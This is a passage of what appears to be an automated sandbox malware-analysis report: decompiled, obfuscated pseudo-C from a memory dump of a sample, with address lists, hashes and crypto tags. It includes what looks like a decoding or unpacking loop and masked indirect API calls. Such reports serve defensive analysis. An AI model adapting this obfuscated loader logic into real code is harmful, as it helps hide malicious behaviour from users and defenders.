					if( *(_t305 + 0x418365) == 0) {
						_v40 = _v40 & 0x00000000;
						_v44 = _v44 + _t305 + 0x41802c;
						_t285 =  *((intOrPtr*)(_t305 + 0x45d018))(_v40);
						_v48 = _t306;
						 *(_t305 + 0x4180e3) = 0 ^ _t285;
						_t324 = 0;
						_t283 =  *((intOrPtr*)(_t305 + 0x45d024))();
						if( *(_t305 + 0x4183fc) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 ^ _t283;
							_t287 =  *((intOrPtr*)(_t305 + 0x45d020))(_v32);
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) & 0x00000000;
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) ^ (_t324 - _v52 | _t287);
							_t324 = _t324;
							_pop(_t283);
						}
						_v40 = _t324;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) & 0x00000000;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) | _t324 & 0x00000000 ^ _t283;
						if( *(_t305 + 0x41853e) == 0) {
							_t286 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) & 0x00000000;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) | _t385 ^ _v36 ^ _t286;
							return _t286;
						}
					}
					return _t283;
				}
			}

0x026a1918
0x026a1918
0x026a1918
0x026a1919
0x026a191c
0x026a191f
0x026a1921
0x026a1924
0x026a1927
0x026a192a
0x026a1934
0x026a1936
0x026a193c
0x026a1940
0x026a1941
0x026a1948
0x026a1948
0x026a194b
0x026a1952
0x026a1954
0x026a195b
0x026a1962
0x026a1962
0x026a196d
0x026a1c7c
0x026a1c99
0x026a1c9b
0x026a1ca2
0x026a1ca9
0x026a1ca9
0x026a1c7e
0x026a1c7e
0x026a1c85
0x026a1c8c
0x026a1c8c
0x026a1cb0
0x026a1cb1
0x026a1cb5
0x026a1cc1
0x026a1cc6
0x026a1cc6
0x026a1cc9
0x026a1ccc
0x026a1ccf
0x026a1cd4
0x026a1cdb
0x026a1cde
0x026a1cdf
0x026a1ceb
0x026a1ced
0x026a1cf0
0x026a1cf9
0x026a1cfc
0x026a1cfd
0x026a1d04
0x026a1d07
0x026a1d0a
0x026a1d0a
0x026a1d15
0x026a1d17
0x026a1d1a
0x026a1d1d
0x026a1d1f
0x026a1d20
0x026a1d2c
0x026a1d2e
0x026a1d31
0x026a1d31
0x026a1d37
0x026a1d41
0x026a1d42
0x026a1d44
0x026a1d46
0x026a1d47
0x026a1d49
0x026a1d4b
0x026a1d4c
0x026a1d4c
0x026a1d4c
0x026a1d51
0x026a1d59
0x026a1d63
0x026a1d67
0x026a1d70
0x026a1d74
0x026a1d7c
0x026a1d7f
0x026a1d85
0x026a1d8d
0x026a1d94
0x026a1d9a
0x026a1d9a
0x026a1da4
0x026a1db1
0x026a1dba
0x026a1dc0
0x026a1dc4
0x026a1dc8
0x026a1dd3
0x026a1dd7
0x026a1de0
0x026a1de4
0x026a1de5
0x026a1deb
0x026a1df2
0x026a1df8
0x026a1df8
0x026a1dfb
0x026a1e08
0x026a1e0a
0x026a1e11
0x026a1e1c
0x026a1e20
0x026a1e22
0x026a1e26
0x026a1e29
0x026a1e33
0x026a1e3c
0x026a1e3d
0x026a1e40
0x026a1e43
0x026a1e49
0x026a1e49
0x026a1e4c
0x026a1e53
0x026a1e59
0x026a1e61
0x026a1e6a
0x026a1e6a
0x026a1e74
0x026a1e7e
0x026a1e88
0x026a1e88
0x026a1e8b
0x026a1e91
0x026a1e98
0x026a1e9e
0x026a1e9e
0x026a1e61
0x026a1eab
0x026a1ead
0x026a1eb5
0x026a1eb7
0x026a1ec1
0x026a1ecb
0x026a1ecb
0x026a1ed5
0x026a1ed5
0x026a1ee0
0x026a1ee4
0x026a1eec
0x026a1eef
0x026a1efb
0x026a1f02
0x026a1f08
0x026a1f09
0x026a1f09
0x026a1f11
0x026a1f1e
0x026a1f23
0x026a1f26
0x026a1f2c
0x026a1f33
0x026a1f39
0x026a1f3c
0x026a1f3c
0x026a1f3d
0x026a1f44
0x026a1f47
0x026a1f4e
0x026a1f51
0x026a1f54
0x026a1f5a
0x026a1f61
0x026a1f67
0x026a1f6a
0x026a1f72
0x026a1f76
0x026a1f7e
0x026a1f88
0x026a1f95
0x026a1f99
0x026a1fa1
0x026a1fa2
0x026a1fa5
0x026a1fa8
0x026a1fa8
0x026a1fae
0x026a1fb5
0x026a1fbf
0x026a1fc8
0x026a1fcb
0x026a1fce
0x026a1fce
0x026a1fdb
0x026a1fdb
0x026a1fde
0x026a1fe4
0x026a1feb
0x026a1ff1
0x026a1ff4
0x026a1ff4
0x026a1ffa
0x026a1973
0x026a1973
0x026a197b
0x026a1985
0x026a1989
0x026a1992
0x026a1996
0x026a199f
0x026a19a3
0x026a19a4
0x026a19ae
0x026a19b9
0x026a19bd
0x026a19be
0x026a19ca
0x026a19d1
0x026a19d7
0x026a19d7
0x026a19df
0x026a19ec
0x026a19f6
0x026a19fa
0x026a1a03
0x026a1a07
0x026a1a0f
0x026a1a19
0x026a1a19
0x026a1a24
0x026a1a28
0x026a1a29
0x026a1a2f
0x026a1a37
0x026a1a3e
0x026a1a44
0x026a1a44
0x026a1a47
0x026a1a4e
0x026a1a52
0x026a1a5b
0x026a1a62
0x026a1a65
0x026a1a71
0x026a1a78
0x026a1a7e
0x026a1a7f
0x026a1a80
0x026a1a88
0x026a1a8f
0x026a1a95
0x026a1a9f
0x026a1aa1
0x026a1aa7
0x026a1aaf
0x026a1ab6
0x026a1abc
0x026a1abc
0x026a1a9f
0x026a1abf
0x026a1ac7
0x026a1aca
0x026a1acd
0x026a1ad3
0x026a1adb
0x026a1ae2
0x026a1af2
0x026a1afe
0x026a1b05
0x026a1b08
0x026a1b10
0x026a1b17
0x026a1b1d
0x026a1b1e
0x026a1b2b
0x026a1b2d
0x026a1b34
0x026a1b37
0x026a1b43
0x026a1b4a
0x026a1b50
0x026a1b51
0x026a1b51
0x026a1b52
0x026a1b5a
0x026a1b61
0x026a1b71
0x026a1b73
0x026a1b79
0x026a1b81
0x026a1b88
0x00000000
0x026a1b8e
0x026a1b71
0x026a1b91
0x026a1b91

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction ID: 079c593c4ee64d339444fc1e5e766791129b02a2c2b0c565894dde5c5a095149
Opcode Fuzzy Hash: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction Fuzzy Hash: 25124A72804218DFEF048F54C9857AEBBF5FF48715F0980AEDC49AA246CB781955CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 026A1B95, Relevance: .3, Instructions: 340
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E026A1B95(signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t190;
				signed int _t192;
				signed int _t193;
				signed int _t197;
				signed int _t198;
				signed int _t201;
				void* _t203;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t217;
				void* _t220;
				signed int _t224;
				int _t226;
				void* _t229;
				signed int _t235;
				signed int _t242;
				signed int _t244;
				signed int _t247;
				signed int _t252;
				signed int _t259;
				signed int _t261;
				void* _t264;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t291;
				signed int _t305;
				signed int* _t314;

				_t275 = __esi;
				_t259 = __edi;
				_t222 = __ecx;
				_t217 = 0x4181a7;
				 *((intOrPtr*)(_t305 + 0x1e)) =  *((intOrPtr*)(_t305 + 0x1e)) + __edx;
				_t190 =  *0x008751C3();
				 *(_t305 - 0x20) = __edx;
				 *0x0083034E =  *0x0083034E & 0x00000000;
				 *0x0083034E =  *0x0083034E | __edx ^  *(_t305 - 0x20) | _t190;
				_t242 =  *(_t305 - 0x20);
				if( *0x00830706 != 0) {
					L6:
					if( *((intOrPtr*)(_t305 - 0x14)) != 2) {
						if( *((intOrPtr*)(_t305 - 0x14)) == 4) {
							 *(_t305 - 0x10) = 1;
							 *(_t305 - 0x18) = 0x55;
							 *(_t305 - 0xc) = 2;
						}
					} else {
						 *(_t305 - 0x10) = 3;
						 *(_t305 - 0x18) = 0x11;
						 *(_t305 - 0xc) = 4;
					}
					_push(_t242);
					 *_t314 =  *_t314 ^ _t242;
					 *(_t305 - 0x20) = _t275;
					_t192 = _t190 & 0x00000000 | _t275 & 0x00000000 ^  *(_t305 - 4);
					_t193 = _t192 /  *(_t305 - 0xc);
					_t244 = _t192 %  *(_t305 - 0xc);
					_push( *(_t305 - 4));
					 *_t314 =  *_t314 - _t244;
					_pop( *_t63);
					 *_t314 =  *(_t305 - 0x20);
					 *(_t305 - 8) = _t244;
					_t281 = 0;
					 *(_t305 - 0x24) = _t244;
					_t283 = _t281 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t305 + 8));
					_t247 =  *(_t305 - 0x24);
					_push(_t247);
					_t261 = _t259 & 0x00000000 ^ (_t247 & 0x00000000 | _t283);
					_t284 = _t283 - 1;
					 *(_t305 - 0x1c) = 0;
					_push( *(_t305 - 0x1c));
					 *_t314 =  *_t314 + _t217;
					do {
						 *(_t305 - 0x24) = _t217;
						_t224 = _t222 & 0x00000000 ^ (_t217 & 0x00000000 | _t261);
						_t217 =  *(_t305 - 0x24);
						_t222 = _t224 &  *(_t305 - 0x10);
						if(_t222 == 0) {
							_t284 = _t284 + 1;
							 *(_t305 - 0x1c) = _t261;
							_t193 = _t193 & 0x00000000 ^ (_t261 & 0x00000000 |  *(_t305 - 0xc));
							_t261 =  *(_t305 - 0x1c);
							_t217 =  *(_t193 + _t284) & 0x000000ff;
						}
						 *_t314 = _t284;
						_t284 = 0;
						asm("rol edx, cl");
						_t252 = (0 ^  *(_t305 - 0x18)) & _t217;
						asm("lodsb");
						_t193 = _t193 | _t252;
						 *_t261 = _t193;
						_t261 = _t261 + 1;
						_t78 = _t305 - 4;
						 *_t78 =  *(_t305 - 4) - 1;
					} while ( *_t78 != 0);
					_pop(_t220);
					if( *(_t220 + 0x4182ab) == 0) {
						_t314[1] =  *(_t220 + 0x4181ff);
						_t235 = _t222;
						_t314[1] =  *(_t220 + 0x41843c);
						_t252 = _t252;
						 *_t314 =  *(_t220 + 0x418293);
						_t193 =  *((intOrPtr*)(_t220 + 0x45d040))(_t193, _t305, _t252);
						 *(_t305 - 0x1c) = _t235;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) & 0x00000000;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) ^ _t235 & 0x00000000 ^ _t193;
						_t222 =  *(_t305 - 0x1c);
					}
					if( *(_t220 + 0x4183d4) == 0) {
						if( *(_t220 + 0x418037) == 0) {
							 *_t314 =  *(_t220 + 0x41816f);
							 *_t314 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 | _t252;
							_t314[1] =  *(_t220 + 0x41859f);
							_t252 = _t252;
							_t314[1] =  *(_t220 + 0x41808b);
							_t284 = _t284;
							_t210 =  *((intOrPtr*)(_t220 + 0x45d048))(_t222, _t252, _t220,  *(_t305 - 0x20), _t193);
							 *(_t305 - 0x24) = _t222;
							 *(_t220 + 0x418037) = 0 ^ _t210;
							_t222 =  *(_t305 - 0x24);
						}
						_t193 =  *((intOrPtr*)(_t220 + 0x45d01c))();
						if( *((intOrPtr*)(_t220 + 0x4181f7)) == 0) {
							 *(_t305 - 0x1c) =  *(_t305 - 0x1c) & 0x00000000;
							 *_t314 =  *_t314 | _t193;
							_t314[1] =  *(_t220 + 0x418438);
							_t284 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 ^ _t261;
							 *(_t305 - 0x20) = 0;
							 *_t314 = _t314 +  *_t314;
							_push( *((intOrPtr*)(_t220 + 0x45d040))( *(_t305 - 0x20), _t252, _t193,  *(_t305 - 0x1c)));
							_pop( *_t117);
							_push( *(_t305 - 0x20));
							_pop( *_t119);
							_pop(_t193);
						}
						 *_t314 = _t305;
						 *(_t220 + 0x4183d4) = 0 ^ _t193;
						_t305 = 0;
						if( *(_t220 + 0x418450) == 0) {
							_t252 =  *_t314;
							 *_t314 =  *(_t220 + 0x418567);
							 *_t314 =  *(_t220 + 0x4183bc);
							 *_t314 =  *(_t220 + 0x4180bb);
							_t305 =  *_t314;
							 *_t314 =  *(_t220 + 0x418513);
							_t193 =  *((intOrPtr*)(_t220 + 0x45d044))( *_t314, _t284, _t305, _t252);
							 *(_t305 - 0x20) =  *_t314;
							 *(_t220 + 0x418450) = 0 ^ _t193;
							_t284 =  *(_t305 - 0x20);
						}
					}
					_t226 = _t222 & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t305 - 8);
					_t264 = _t261;
					if( *(_t220 + 0x41803b) == 0) {
						 *(_t305 - 0x20) = 0;
						 *_t314 =  *_t314 | _t226;
						_t291 =  *_t314;
						 *_t314 =  *(_t220 + 0x418057);
						_t252 =  *_t314;
						 *_t314 =  *(_t220 + 0x418028);
						_t314[1] =  *(_t220 + 0x4183e8);
						_t203 = _t193;
						 *_t314 =  *(_t220 + 0x4185ef);
						_t206 =  *((intOrPtr*)(_t220 + 0x45d044))(_t305, _t252, _t284,  *(_t305 - 0x20));
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) & 0x00000000;
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) ^ _t291 & 0x00000000 ^ _t206;
						_t284 = _t291;
						_t226 = _t203;
					}
					if( *(_t220 + 0x41849f) == 0) {
						if( *(_t220 + 0x41861f) == 0) {
							 *_t314 = _t226;
							_t201 =  *((intOrPtr*)(_t220 + 0x45d01c))( *(_t305 - 0x20));
							 *(_t305 - 0x20) = _t264;
							 *(_t220 + 0x41861f) = 0 ^ _t201;
							_t264 =  *(_t305 - 0x20);
							_pop(_t226);
						}
						 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
						 *_t314 =  *_t314 + _t226;
						_t161 = _t220 + 0x418533; // 0x418533
						 *_t314 =  *_t314 ^ _t305;
						 *_t314 =  *_t314 ^ _t161;
						_t197 =  *((intOrPtr*)(_t220 + 0x45d018))(_t305,  *(_t305 - 0x24));
						 *(_t305 - 0x20) = _t264;
						 *(_t220 + 0x4185cf) = 0 ^ _t197;
						_t264 =  *(_t305 - 0x20);
						_push(_t252);
						_t314[1] =  *(_t220 + 0x418243);
						_t229 = _t226;
						if( *((intOrPtr*)(_t220 + 0x41862b)) == 0) {
							_t314[1] =  *(_t220 + 0x418414);
							_t314[1] =  *(_t220 + 0x4183cc);
							_t305 = _t305;
							_push( *((intOrPtr*)(_t220 + 0x45d03c))(_t314, _t197, _t229, _t264));
							_pop( *_t174);
							_push( *(_t305 - 0x20));
							_pop( *_t176);
						}
						_push(_t252);
						 *_t314 =  *(_t220 + 0x41814b);
						if( *((intOrPtr*)(_t220 + 0x41851b)) == 0) {
							 *_t181 =  *((intOrPtr*)(_t220 + 0x45d024))();
							 *_t183 =  *(_t305 - 0x1c);
						}
						_t305 =  *_t314;
						 *_t314 =  *(_t220 + 0x4182a7);
						_t198 =  *((intOrPtr*)(_t220 + 0x45d040))();
						 *(_t305 - 0x20) = _t284;
						 *(_t220 + 0x41849f) = 0 ^ _t198;
						_t284 =  *(_t305 - 0x20);
						_t226 = _t305;
					}
					return memcpy(_t264, _t284 + 1, _t226);
				}
				if( *0x0083047E == 0) {
					_push(__ecx);
					 *_t314 =  *_t314 ^ __ecx;
					 *_t314 =  *_t314 ^ __edi;
					_push(__ecx);
					_t222 =  *_t314;
					 *_t314 =  *0x008302CA;
					_push(_t190);
					_push(_t190);
					_t314[1] =  *0x00830266;
					_push( *(_t305 - 0x1c));
					 *_t314 = _t314;
					_t190 =  *0x008751EB();
					 *(_t305 - 0x1c) = __esi;
					 *0x0083047E =  *0x0083047E & 0x00000000;
					 *0x0083047E =  *0x0083047E ^ __esi & 0x00000000 ^ _t190;
					_t275 =  *(_t305 - 0x1c);
				}
				_push(_t222);
				_t314[1] =  *(_t217 + 0x41829f);
				_t214 = _t190;
				if( *(_t217 + 0x41827b) == 0) {
					_t214 =  *((intOrPtr*)(_t217 + 0x45d020))();
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) & 0x00000000;
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) ^ _t275 ^  *_t314 ^ _t214;
					_t275 = _t275;
				}
				_t314[1] =  *(_t217 + 0x4183c8);
				_t275 = _t275;
				 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
				 *_t314 =  *_t314 + _t217;
				_t190 =  *((intOrPtr*)(_t217 + 0x45d040))( *(_t305 - 0x24), _t214);
				 *(_t305 - 0x20) = _t259;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) & 0x00000000;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) ^ (_t259 & 0x00000000 | _t190);
				_t259 =  *(_t305 - 0x20);
				goto L6;
			}

0x026a1b95
0x026a1b95
0x026a1b95
0x026a1b95
0x026a1b9a
0x026a1b9d
0x026a1ba3
0x026a1bab
0x026a1bb2
0x026a1bb8
0x026a1bc2
0x026a1c78
0x026a1c7c
0x026a1c99
0x026a1c9b
0x026a1ca2
0x026a1ca9
0x026a1ca9
0x026a1c7e
0x026a1c7e
0x026a1c85
0x026a1c8c
0x026a1c8c
0x026a1cb0
0x026a1cb1
0x026a1cb5
0x026a1cc1
0x026a1cc6
0x026a1cc6
0x026a1cc9
0x026a1ccc
0x026a1ccf
0x026a1cd4
0x026a1cdb
0x026a1cde
0x026a1cdf
0x026a1ceb
0x026a1ced
0x026a1cf0
0x026a1cf9
0x026a1cfc
0x026a1cfd
0x026a1d04
0x026a1d07
0x026a1d0a
0x026a1d0a
0x026a1d15
0x026a1d17
0x026a1d1a
0x026a1d1d
0x026a1d1f
0x026a1d20
0x026a1d2c
0x026a1d2e
0x026a1d31
0x026a1d31
0x026a1d37
0x026a1d41
0x026a1d42
0x026a1d44
0x026a1d46
0x026a1d47
0x026a1d49
0x026a1d4b
0x026a1d4c
0x026a1d4c
0x026a1d4c
0x026a1d51
0x026a1d59
0x026a1d63
0x026a1d67
0x026a1d70
0x026a1d74
0x026a1d7c
0x026a1d7f
0x026a1d85
0x026a1d8d
0x026a1d94
0x026a1d9a
0x026a1d9a
0x026a1da4
0x026a1db1
0x026a1dba
0x026a1dc0
0x026a1dc4
0x026a1dc8
0x026a1dd3
0x026a1dd7
0x026a1de0
0x026a1de4
0x026a1de5
0x026a1deb
0x026a1df2
0x026a1df8
0x026a1df8
0x026a1dfb
0x026a1e08
0x026a1e0a
0x026a1e11
0x026a1e1c
0x026a1e20
0x026a1e22
0x026a1e26
0x026a1e29
0x026a1e33
0x026a1e3c
0x026a1e3d
0x026a1e40
0x026a1e43
0x026a1e49
0x026a1e49
0x026a1e4c
0x026a1e53
0x026a1e59
0x026a1e61
0x026a1e6a
0x026a1e6a
0x026a1e74
0x026a1e7e
0x026a1e88
0x026a1e88
0x026a1e8b
0x026a1e91
0x026a1e98
0x026a1e9e
0x026a1e9e
0x026a1e61
0x026a1eab
0x026a1ead
0x026a1eb5
0x026a1eb7
0x026a1ec1
0x026a1ecb
0x026a1ecb
0x026a1ed5
0x026a1ed5
0x026a1ee0
0x026a1ee4
0x026a1eec
0x026a1eef
0x026a1efb
0x026a1f02
0x026a1f08
0x026a1f09
0x026a1f09
0x026a1f11
0x026a1f1e
0x026a1f23
0x026a1f26
0x026a1f2c
0x026a1f33
0x026a1f39
0x026a1f3c
0x026a1f3c
0x026a1f3d
0x026a1f44
0x026a1f47
0x026a1f4e
0x026a1f51
0x026a1f54
0x026a1f5a
0x026a1f61
0x026a1f67
0x026a1f6a
0x026a1f72
0x026a1f76
0x026a1f7e
0x026a1f88
0x026a1f95
0x026a1f99
0x026a1fa1
0x026a1fa2
0x026a1fa5
0x026a1fa8
0x026a1fa8
0x026a1fae
0x026a1fb5
0x026a1fbf
0x026a1fc8
0x026a1fce
0x026a1fce
0x026a1fdb
0x026a1fdb
0x026a1fde
0x026a1fe4
0x026a1feb
0x026a1ff1
0x026a1ff4
0x026a1ff4
0x026a1ffa
0x026a1ffa
0x026a1bcf
0x026a1bd1
0x026a1bd2
0x026a1bd5
0x026a1bd8
0x026a1bdf
0x026a1bdf
0x026a1be2
0x026a1be3
0x026a1bea
0x026a1bef
0x026a1bf2
0x026a1bf5
0x026a1bfb
0x026a1c03
0x026a1c0a
0x026a1c10
0x026a1c10
0x026a1c13
0x026a1c1b
0x026a1c1f
0x026a1c27
0x026a1c29
0x026a1c35
0x026a1c3c
0x026a1c42
0x026a1c42
0x026a1c4b
0x026a1c4f
0x026a1c50
0x026a1c57
0x026a1c5a
0x026a1c60
0x026a1c68
0x026a1c6f
0x026a1c75
0x00000000

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction ID: 3f17ea2b929d554aaee654652cf0019992fab8884d336366ce3f345bfe5df4ed
Opcode Fuzzy Hash: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction Fuzzy Hash: F6E14C72804614DFEF048F54C9857EEBBB5FF88715F09849EEC48AB246CB781951CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 026A237B, Relevance: .3, Instructions: 291
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E026A237B(void* __ecx, signed int __edx, void* __edi, signed int __esi) {
				signed int _t171;
				signed int _t175;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				signed int _t182;
				void* _t184;
				signed int _t186;
				signed int _t187;
				signed int _t190;
				void* _t196;
				signed int _t197;
				signed int _t205;
				signed int _t211;
				signed int _t218;
				signed int _t220;
				signed int _t222;
				signed int _t227;
				void* _t237;
				signed int _t239;
				signed int _t243;
				signed int _t244;
				signed int _t258;
				signed int _t259;
				void* _t262;
				signed int _t263;
				signed int _t265;
				void* _t266;
				void* _t276;
				signed int _t278;
				signed int _t283;
				signed int* _t288;

				_t258 = __esi;
				_t190 = 0x4181d3;
				 *((intOrPtr*)(_t283 + 0x1e)) =  *((intOrPtr*)(_t283 + 0x1e)) + __edx;
				_t171 =  *0x008751F7();
				 *(_t283 - 0x10) = __edx;
				 *0x008303A6 =  *0x008303A6 & 0x00000000;
				 *0x008303A6 =  *0x008303A6 | __edx & 0x00000000 | _t171;
				_t218 =  *(_t283 - 0x10);
				_t243 =  *(__edi + 0x80);
				if( *0x008304FF == 0) {
					_t171 =  *0x008751F3();
					 *(_t283 - 0x10) = _t243;
					 *0x008304FF = _t171;
					_t243 =  *(_t283 - 0x10);
				}
				_t244 = _t243 +  *(_t283 + 8);
				if( *(_t190 + 0x41859b) == 0) {
					_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
					 *(_t283 - 0x10) = _t258;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) & 0x00000000;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) ^ _t258 & 0x00000000 ^ _t171;
					_t263 =  *(_t283 - 0x10);
				}
				do {
					if( *_t244 != 0) {
						 *_t288 = _t171;
						_t259 = 0 ^  *_t244;
						_t171 = 0;
						if( *(_t190 + 0x41816b) == 0) {
							_t288[1] =  *(_t190 + 0x418487);
							_t218 =  *_t288;
							 *_t288 =  *(_t190 + 0x418338);
							_t205 =  *_t288;
							 *_t288 =  *(_t190 + 0x4183ec);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t197, _t218, _t171, _t259);
							 *(_t283 - 0x10) = _t205;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) & 0x00000000;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) | _t205 ^  *(_t283 - 0x10) ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
					} else {
						if( *(_t190 + 0x418420) == 0) {
							_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
							 *(_t283 - 0x10) = _t197;
							 *(_t190 + 0x418420) = 0 ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
						 *(_t283 - 0x10) = _t190;
						_t259 = _t263 & 0x00000000 ^ _t190 -  *(_t283 - 0x10) ^  *(_t244 + 0x10);
						_t190 =  *(_t283 - 0x10);
						if( *(_t190 + 0x41812f) == 0) {
							_t288[1] =  *(_t190 + 0x418033);
							_t184 = _t171;
							 *_t288 =  *_t288 & 0x00000000;
							 *_t288 =  *_t288 + _t184;
							_t288[1] =  *(_t190 + 0x41813b);
							_t237 = _t218;
							_t239 =  *_t288;
							 *_t288 =  *(_t190 + 0x4182eb);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d044))(_t237, _t259, _t190, _t171);
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) & 0x00000000;
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) ^ _t239 ^  *_t288 ^ _t171;
							_t218 = _t239;
						}
					}
					_push(_t171);
					_t175 =  *_t288;
					 *_t288 =  *(_t244 + 0x10);
					if( *(_t190 + 0x4185cb) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d024))();
						 *_t288 = _t244;
						 *(_t190 + 0x4185cb) = 0 ^ _t175;
						_t244 = 0;
					}
					_pop( *_t66);
					if( *(_t190 + 0x418273) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *_t288 = _t197;
						 *(_t190 + 0x418273) = _t175;
						_t197 = 0;
					}
					_t177 = _t175 & 0x00000000 | _t259 & 0x00000000 ^  *(_t283 + 8);
					_t262 = _t259;
					if( *(_t190 + 0x418203) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 | _t177;
						_t187 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418203) = 0 ^ _t187;
						_t244 =  *(_t283 - 0x10);
						_t177 = _t244;
					}
					 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t177;
					if( *(_t190 + 0x4184ef) == 0) {
						 *_t288 =  *(_t190 + 0x418127);
						_t244 =  *_t288;
						 *_t288 =  *(_t190 + 0x4182f7);
						_t288[1] =  *(_t190 + 0x4185f7);
						_t276 = _t262;
						_t278 =  *_t288;
						 *_t288 =  *(_t190 + 0x41827f);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d048))(_t288, _t276, _t262, _t244, _t197);
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) & 0x00000000;
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) | _t278 ^  *_t288 | _t177;
						_t262 = _t278;
					}
					 *_t93 =  *((intOrPtr*)(_t244 + 0xc));
					_t196 =  *(_t283 - 0x10);
					if( *(_t190 + 0x418334) == 0) {
						 *_t288 =  *_t288 ^ _t190;
						 *_t288 =  *_t288 + _t196;
						_t211 =  *_t288;
						 *_t288 =  *(_t190 + 0x41838d);
						_t288[1] =  *(_t190 + 0x4185af);
						_t244 = _t244;
						_t283 =  *_t288;
						 *_t288 =  *(_t190 + 0x418410);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t177, _t196, _t190);
						 *(_t283 - 0x10) = _t211;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) & 0x00000000;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) ^ (_t211 & 0x00000000 | _t177);
						_t196 = _t283;
					}
					_t197 = _t196 +  *(_t283 + 8);
					if( *(_t190 + 0x418474) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 + _t197;
						_t177 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) & 0x00000000;
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) | _t218 -  *_t288 ^ _t177;
						_t218 = _t218;
						_t197 = _t218;
					}
					_t263 = _t262 +  *(_t283 + 8);
					if( *(_t190 + 0x418020) == 0) {
						 *_t288 =  *_t288 - _t177;
						 *_t288 = _t197;
						 *_t288 =  *(_t190 + 0x418493);
						_t218 =  *_t288;
						 *_t288 =  *(_t190 + 0x418507);
						 *(_t283 - 0x10) =  *(_t283 - 0x10) & 0x00000000;
						 *_t288 =  *_t288 + _t190;
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 ^ _t190;
						_t186 =  *((intOrPtr*)(_t190 + 0x45d044))( *(_t283 - 0x10),  *_t288, _t218, _t177);
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) & 0x00000000;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) | _t244 ^  *(_t283 - 0x10) | _t186;
						_t244 =  *(_t283 - 0x10);
						_t197 = _t218;
					}
					 *_t288 = _t197;
					_t178 =  *((intOrPtr*)(_t190 + 0x45d00c))( *(_t283 - 0x10));
					 *(_t283 - 8) =  *(_t283 - 8) & 0x00000000;
					 *(_t283 - 8) =  *(_t283 - 8) ^ (_t190 -  *_t288 | _t178);
					_t190 = _t190;
